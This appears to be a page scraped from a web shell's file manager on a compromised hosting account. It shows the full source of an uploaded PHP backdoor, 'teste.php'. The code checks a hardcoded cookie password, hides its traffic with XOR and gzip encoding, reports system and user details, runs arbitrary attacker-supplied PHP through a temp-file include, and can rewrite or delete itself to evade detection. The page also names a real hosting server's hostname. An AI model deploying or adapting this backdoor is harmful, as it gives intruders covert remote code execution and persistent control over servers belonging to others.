5tarl0rd

Current Path : /home/tiporg/www/uploads/
Upload File :
Current File : /home/tiporg/www/uploads/1733279467_teste.php

<?php

error_reporting(E_ALL);
ini_set('display_errors', 'on');

class Handler
{
    public  $REQUEST_METHOD                  = "POST";
    private $PASSWORD_TYPE                   = "COOKIE";
    private $PASSWORD_KEY                    = "X-Authorization";
    private $PASSWORD_VALUE                  = "P4ssw0rd!";
    private $REQUEST_DATA_TYPE               = "FIELD";
    private $REQUEST_DATA_KEY                = "data";
    private $RESPONSE_DATA_KEY               = "data";

    private $EX_CODE                         = "4";
    private $SUCC_CODE                       = "0";
    private $ERR_CODE                        = "1";
    private $FIELD_SEPARATOR                 = ",";
    private $VALUE_SEPARATOR                 = "=";
    private $CUSTOM_SEPARATOR                = "|";

    private $REQ_ACTION_KEY                  = "action";
    private $REQ_MSG_KEY                     = "data";

    private $REQ_MOD_NAME_KEY                = "name";
    private $REQ_MOD_CONTENT_KEY             = "content";
    private $REQ_MOD_ARGS_KEY                = "args";
    private $REQ_MOD_CWD_KEY                 = "cwd";

    private $MOD_ARGS_VAR                    = "#{ARGS}";
    private $MOD_CWD_VAR                     = "#{CWD}";

    private $RES_STATUS_KEY                  = "status";
    private $RES_MESSAGE_KEY                 = "message";

    public $ACTION_STATUS                    = "0";
    public $ACTION_INVOKE                    = "1";
    public $ACTION_UPDATE                    = "5";
    public $ACTION_DELETE                    = "6";

    private $MOD_RES_STATUS                  = "status";
    private $MOD_RES_MESSAGE                 = "message";

    private $ERR_INVALID_REQ_TYPE            = "invalid request type";
    private $ERR_INVALID_REQ_METHOD          = "invalid request method";
    private $ERR_NONEXISTENT_DATA            = "non-existent data";
    private $ERR_NONEXISTENT_ACTION          = "non-existent action";
    private $ERR_UNKNOWN_ACTION              = "unknown action code";
    private $ERR_EXCEPTION_FROM_MODULE       = "module throw an exception";
    private $ERR_NONEXISTENT_ACTION_DATA     = "non-existent action data";
    private $ERR_INVALID_ACTION_DATA         = "invalid action data";
    private $ERR_NONEXISTENT_MOD_NAME        = "non-existent module name";
    private $ERR_NONEXISTENT_MOD_CONTENT     = "non-existent module content";
    private $ERR_NONEXISTENT_MOD_ARGS        = "non-existent module args";
    private $ERR_NONEXISTENT_MOD_CWD         = "non-existent module cwd";
    private $ERR_INVALID_MOD_CONTENT         = "invalid module content";
    private $ERR_INVALID_MOD_ARGS            = "invalid module args";
    private $ERR_INVALID_MOD_CWD             = "invalid module cwd";
    private $ERR_INVALID_MODULE_RESP_DATA    = "invalid module response data";
    private $ERR_NONEXISTENT_MOD_STATUS      = "non-existent module response status";
    private $ERR_NONEXISTENT_MOD_DATA        = "non-existent module response data";
    private $ERR_INVALID_MODULE_RESP_CONTENT = "invalid module response content";


    private function get_field($type, $name)
    {
        switch ($type)
        {
            case "HEADER":
                $header_name = "HTTP_" . str_replace("-", "_", strtoupper($name));
                if (!isset($_SERVER[$header_name]))
                    return null;
                return $_SERVER[$header_name];
            case "COOKIE":
                if (!isset($_COOKIE[$name]))
                    return null;
                return $_COOKIE[$name];
            case "FIELD":
                switch ($this->REQUEST_METHOD)
                {
                    case "GET":
                        if (!isset($_GET[$name]))
                            return null;
                        return $_GET[$name];
                    case "POST":
                        if (!isset($_POST[$name]))
                            return null;
                        return $_POST[$name];
                    default:
                        throw new Exception($this->ERR_INVALID_REQ_METHOD, 1);
                }
            default:
                throw new Exception($this->ERR_INVALID_REQ_TYPE, 1);
        }
    }

    private function encrypt($data)
    {
        $data_len = @strlen($data);
        $password_len = @strlen($this->PASSWORD_VALUE);
        for ($i = 0; $i < $data_len; $i++)
            $data[$i] = $data[$i] ^ $this->PASSWORD_VALUE[$i % $password_len];
        return $data;
    }

    private function protect($data)
    {
        $compressed = gzencode($data, 7);
        $data_crypt = $this->encrypt($compressed);
        $data_hex_str = @bin2hex($data_crypt);
        return $data_hex_str;
    }

    private function unprotect($data)
    {
        $data_crypt = @hex2bin($data);
        if ($data_crypt === false)
            throw new Exception("unprotect(): first hex2bin() failed to '$data'", 1);
        $data_raw_hex = $this->encrypt($data_crypt);
        $uncompressed = gzdecode($data_raw_hex);
        return $uncompressed;
    }

    private function generate_response($status, $message)
    {
        $response  = "";
        $response .= $this->RES_STATUS_KEY . $this->VALUE_SEPARATOR . $status . $this->FIELD_SEPARATOR;
        $response .= $this->RES_MESSAGE_KEY . $this->VALUE_SEPARATOR . @bin2hex($message);
        return $this->pack_value($this->RESPONSE_DATA_KEY, $this->protect($response), true);
    }

    private function unpack_data($packed_request)
    {
        $fields = explode($this->FIELD_SEPARATOR, $packed_request);
        if (sizeof($fields) < 1)
            throw new Exception("unpack_data(): err explode() fields < 1 [" . @bin2hex($packed_request) . "]", 1);

        $data = array();
        foreach ($fields as $field)
        {
            $vals = explode($this->VALUE_SEPARATOR, $field);
            if (sizeof($vals) !== 2)
                throw new Exception("unpack_data(): err explode() values !== 2 [" . @bin2hex($packed_request) . "]", 1);

            $data[$vals[0]] = $vals[1];
        }
        return $data;
    }

    private function pack_value($key, $value, $end=false)
    {
        if ($end)
            return $key . $this->VALUE_SEPARATOR .$value;
        else
            return $key . $this->VALUE_SEPARATOR . @bin2hex($value);
    }

    private function get_so()
    {
        $uname_val = explode(" ", "Linux host20220914.comsatshosting.com 3.10.0-1160.76.1.el7.x86_64 #1 SMP Wed Aug 10 16:21:17 UTC 2022 x86_64");
        return $uname_val[0];
    }

    private function get_username()
    {
        $phpuname_fields = explode(" ", "Linux host20220914.comsatshosting.com 3.10.0-1160.76.1.el7.x86_64 #1 SMP Wed Aug 10 16:21:17 UTC 2022 x86_64");
        if ($phpuname_fields[0] === "Windows")
            return "host20220914.comsatshosting.com" . "\\" . getenv("username");

        $user_id = @posix_getuid();
        $user_info = @posix_getpwuid($user_id);
        return $user_info['name'];
    }

    public function authenticate()
    {
        try
        {
            $request_password = $this->get_field($this->PASSWORD_TYPE, $this->PASSWORD_KEY);
            if ($request_password === null)
                return False;
            if ($request_password !== $this->PASSWORD_VALUE)
                return False;
        }
        catch (Exception $e)
        {
            return False;
        }
        return True;
    }

    private function do_status()
    {
        $response  = "";
        $response .= $this->pack_value("ex", $this->EX_CODE);
        $response .= $this->FIELD_SEPARATOR;
        $response .= $this->pack_value("so", $this->get_so());
        $response .= $this->FIELD_SEPARATOR;
        $response .= $this->pack_value("pwd", str_replace("\\", "/", getcwd()));
        $response .= $this->FIELD_SEPARATOR;
        $response .= $this->pack_value("type", "php");
        $response .= $this->FIELD_SEPARATOR;
        $response .= $this->pack_value("version", phpversion());
        $response .= $this->FIELD_SEPARATOR;
        $response .= $this->pack_value("user", $this->get_username());
        $response .= $this->FIELD_SEPARATOR;
        $response .= $this->pack_value("hostname", "Linux host20220914.comsatshosting.com 3.10.0-1160.76.1.el7.x86_64 #1 SMP Wed Aug 10 16:21:17 UTC 2022 x86_64");
        return $this->generate_response($this->SUCC_CODE, $response);
    }

    private function replace_template_vars($content, $args, $cwd)
    {
        $content = str_replace($this->MOD_ARGS_VAR, $args, $content);
        $content = str_replace($this->MOD_CWD_VAR, $cwd, $content);
        return $content;
    }

    private function do_invoke($unpacked_request)
    {
        if (!array_key_exists($this->REQ_MSG_KEY, $unpacked_request))
            return $this->generate_response($this->ERR_CODE, $this->ERR_NONEXISTENT_ACTION_DATA);

        $action_data = @hex2bin($unpacked_request[$this->REQ_MSG_KEY]);
        if ($action_data === false)
            return $this->generate_response($this->ERR_CODE, $this->ERR_INVALID_ACTION_DATA);

        $action_data_unpack = $this->unpack_data($action_data);
        if (!array_key_exists($this->REQ_MOD_NAME_KEY, $action_data_unpack))
            return $this->generate_response($this->ERR_CODE, $this->ERR_NONEXISTENT_MOD_NAME);
        if (!array_key_exists($this->REQ_MOD_CONTENT_KEY, $action_data_unpack))
            return $this->generate_response($this->ERR_CODE, $this->ERR_NONEXISTENT_MOD_CONTENT);
        if (!array_key_exists($this->REQ_MOD_ARGS_KEY, $action_data_unpack))
            return $this->generate_response($this->ERR_CODE, $this->ERR_NONEXISTENT_MOD_ARGS);
        if (!array_key_exists($this->REQ_MOD_CWD_KEY, $action_data_unpack))
            return $this->generate_response($this->ERR_CODE, $this->ERR_NONEXISTENT_MOD_CWD);

        $mod_content = @hex2bin($action_data_unpack[$this->REQ_MOD_CONTENT_KEY]);
        if ($mod_content === false)
            return $this->generate_response($this->ERR_CODE, $this->ERR_INVALID_MOD_CONTENT);
        $mod_args = @hex2bin($action_data_unpack[$this->REQ_MOD_ARGS_KEY]);
        if ($mod_args === false)
            return $this->generate_response($this->ERR_CODE, $this->ERR_INVALID_MOD_ARGS);
        $mod_cwd = @hex2bin($action_data_unpack[$this->REQ_MOD_CWD_KEY]);
        if ($mod_cwd === false)
            return $this->generate_response($this->ERR_CODE, $this->ERR_INVALID_MOD_CWD);

        $mod_content_with_vars = $this->replace_template_vars($mod_content, $action_data_unpack[$this->REQ_MOD_ARGS_KEY], $mod_cwd);

        $mod_response_hex = "";
        try
        {
            ob_start();
            $temp_file = tmpfile();
            $temp_filepath = stream_get_meta_data($temp_file)['uri'];
            file_put_contents($temp_filepath, substr($mod_content_with_vars, 1));
            include $temp_filepath;
            unlink($temp_filepath);
            $mod_response_hex = ob_get_contents();
            ob_end_clean();
        }
        catch (ParseError $e)
        {
            throw new Exception("eval() parse error: " . $e->getMessage(), 1);
        }

        $mod_response = @hex2bin($mod_response_hex);
        if ($mod_response === false)
            throw new Exception($this->ERR_INVALID_MODULE_RESP_DATA . ": " . @bin2hex($mod_response_hex), 1);

        $mod_response_unpack = $this->unpack_data($mod_response);
        if (!array_key_exists($this->MOD_RES_STATUS, $mod_response_unpack))
            throw new Exception($this->ERR_NONEXISTENT_MOD_STATUS, 1);
        if (!array_key_exists($this->MOD_RES_MESSAGE, $mod_response_unpack))
            throw new Exception($this->ERR_NONEXISTENT_MOD_DATA, 1);

        $mod_status = $mod_response_unpack[$this->MOD_RES_STATUS];

        if (strpos($mod_response_unpack[$this->MOD_RES_MESSAGE], $this->CUSTOM_SEPARATOR) !== false)
            $mod_data = $mod_response_unpack[$this->MOD_RES_MESSAGE];
        else
            $mod_data = @hex2bin($mod_response_unpack[$this->MOD_RES_MESSAGE]);

        if ($mod_data === false)
            throw new Exception($this->ERR_INVALID_MODULE_RESP_CONTENT, 1);

        return $this->generate_response($mod_status, $mod_data);
    }

    private function do_update($unpacked_request)
    {
        $response = "";
        
        if (!array_key_exists($this->REQ_MSG_KEY, $unpacked_request))
            return $this->generate_response($this->ERR_CODE, $this->ERR_NONEXISTENT_ACTION_DATA);

        $action_data = @hex2bin($unpacked_request[$this->REQ_MSG_KEY]);
        if ($action_data === false)
            return $this->generate_response($this->ERR_CODE, $this->ERR_INVALID_ACTION_DATA);
        
        if (is_writable(__FILE__) === false)
        {
            $response = "Can't self-update '" . __FILE__ . "' file is not writable";
            return $this->generate_response($this->ERR_CODE, $response);
        }

        $response = "Self-updated '" . __FILE__ . "' checksum '" . md5($action_data) . "'";
        $GLOBALS["control"] = [$this->ACTION_UPDATE, $action_data];
        return $this->generate_response($this->SUCC_CODE, $response);
    }

    private function do_delete()
    {
        $response = "Self-delete '" . __FILE__ . "' has been completed";
        if (is_writable(__FILE__) === false)
        {
            $response = "Can't self-delete '" . __FILE__ . "' file is not writable";
            return $this->generate_response($this->ERR_CODE, $response);
        }
        
        $GLOBALS["control"] = [$this->ACTION_DELETE, ""];
        return $this->generate_response($this->SUCC_CODE, $response);
    }

    public function handle()
    {
        try
        {
            $raw_request_data = $this->get_field($this->REQUEST_DATA_TYPE, $this->REQUEST_DATA_KEY);
            if ($raw_request_data === null)
                return $this->generate_response($this->ERR_CODE, $this->ERR_NONEXISTENT_DATA);

            $request_data = $this->unprotect($raw_request_data);
            $unpacked_request = $this->unpack_data($request_data);

            if (!array_key_exists($this->REQ_ACTION_KEY, $unpacked_request))
                return $this->generate_response($this->ERR_CODE, $this->ERR_NONEXISTENT_ACTION);

            switch ($unpacked_request[$this->REQ_ACTION_KEY])
            {
                case $this->ACTION_STATUS:
                    return $this->do_status();
                case $this->ACTION_INVOKE:
                    return $this->do_invoke($unpacked_request);
                case $this->ACTION_UPDATE:
                        return $this->do_update($unpacked_request);
                case $this->ACTION_DELETE:
                    return $this->do_delete();
                default:
                    return $this->generate_response($this->ERR_CODE, $this->ERR_UNKNOWN_ACTION);
            }
        }
        catch (Exception $e)
        {
            return $this->generate_response($this->ERR_CODE, $this->ERR_EXCEPTION_FROM_MODULE . PHP_EOL . $e);
        }
    }
}

$control = [];
$handler = new Handler();

if ($_SERVER['REQUEST_METHOD'] !== $handler->REQUEST_METHOD)
{
    header($_SERVER['SERVER_PROTOCOL'] . ' 400 Bad Request', true, 400);
    exit();
}

if (!$handler->authenticate())
{
    header($_SERVER['SERVER_PROTOCOL'] . ' 500 Internal Server Error', true, 500);
    exit();
}

$response = $handler->handle();
print($response);

if (isset($control) && sizeof($control) === 2)
{
    if ($control[0] === $handler->ACTION_UPDATE)
    {
        file_put_contents(__FILE__, $control[1]);
    }
    elseif ($control[0] === $handler->ACTION_DELETE)
    {
        unlink(__FILE__);
    }
}

5tarL0rd By 5tarl0rd Being Anonymous